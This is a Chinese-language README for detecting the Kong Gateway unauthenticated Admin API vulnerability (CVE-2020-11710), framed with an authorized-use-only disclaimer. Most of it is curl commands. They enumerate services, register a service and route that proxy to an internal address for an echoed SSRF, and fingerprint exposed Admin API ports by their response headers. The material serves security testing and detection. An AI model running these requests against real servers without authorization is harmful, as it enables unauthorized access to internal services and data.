└── README.md /README.md: -------------------------------------------------------------------------------- 1 | ### 声明 2 | 3 | 此处提供的漏洞检测方法、文件等内容,均仅限于安全从业者在获得法律授权的情况下使用,目的是检测已授权的服务器的安全性。安全从业者务必遵守法律规定,禁止在没有得到授权的情况下做任何漏洞检测。 4 | 5 | ### 简介 6 | 7 | [漏洞分析 - Kong未授权访问漏洞(CVE-2020-11710)](https://xz.aliyun.com/t/7631) 8 | 9 | 10 | #### 检测方法1 11 | 12 | ``` 13 | # 查看 14 | # 注意 我的是127.0.0.1 需替换 15 | 16 | # 检测漏洞 - 信息泄露 17 | # 利用 Admin Restful API - 查看当前Kong Gateway已有的"服务"(web API) 18 | curl -i -X GET http://127.0.0.1:8001/services 19 | 20 | # 检测漏洞 - SSRF 21 | # 利用 Admin Restful API - 在Kong Gateway上注册一个新的"服务"(web API) 指向内网的敏感站点 http://10.11.11.2:8888/login 22 | # 注意 name 必须唯一 23 | 24 | curl -i -X POST http://127.0.0.1:8001/services \ 25 | --data name=target \ 26 | --data url='http://10.11.11.2:8888/login' 27 | 28 | 29 | # (该步骤可省略) 验证这个(名为target的)服务的endpoint是否注册成功 30 | # curl -i http://127.0.0.1:8001/services/target 31 | 32 | 33 | # 添加一个Route 34 | # paths[]的值为 /site1 35 | # name的值为 111111 name的值不重要 36 | 37 | curl -i -X POST http://127.0.0.1:8001/services/target/routes \ 38 | --data 'paths[]=/site1' \ 39 | --data 'name=111111' 40 | 41 | 42 | # 使用 正常开放的(HTTP Proxy Port)8000访问/site1 43 | # 可验证这个Route是否正在转发请求到对应"服务" 即http://10.11.11.2:8888/login 44 | # 🔥SSRF 可回显 45 | curl -i -X GET http://127.0.0.1:8000/site1 46 | 47 | 48 | # 使用 正常开放的(HTTPS Proxy Port) 8443 访问/site1 当然也可以 49 | # 使用curl的 --insecure 选项 来忽略SSL证书验证 disables certificate validation 50 | # 🔥SSRF 可回显 51 | curl -i -X GET https://127.0.0.1:8443/site1 --insecure 52 | 53 | 54 | # (检测过程无需该步骤) 可查看本次请求的Header等信息 55 | # curl -i -X GET http://127.0.0.1:8000/site1/request 56 | ``` 57 | 58 | #### 检测方法2 59 | 60 | 61 | 发起请求,访问默认的Admin Restful API端口 8001 和 8444 62 | ``` 63 | curl -i -X GET http://127.0.0.1:8001/ 64 | curl -i -X GET https://127.0.0.1:8444/ --insecure 65 | 66 | # 也可以访问Kong自带的其他路径 /status等 67 | ``` 68 | 69 | 得到Response 70 | 71 | 72 | Response Header中有2个特征: 73 | ``` 74 | Server: kong 75 | X-Kong-Admin-Latency: 76 | ``` 77 | 78 | Response Body中也有特征: 79 | 80 | response body为json格式,且其中有5个`X-Kong`开头的字段 81 | ``` 82 | "X-Kong-Response-Latency" 83 | "X-Kong-Admin-Latency" 84 | "X-Kong-Upstream-Status" 85 | "X-Kong-Proxy-Latency" 86 | "X-Kong-Upstream-Latency" 87 | ``` 88 | 89 | 如果特征存在,则说明Admin Restful API 可被访问,漏洞存在。 90 | --------------------------------------------------------------------------------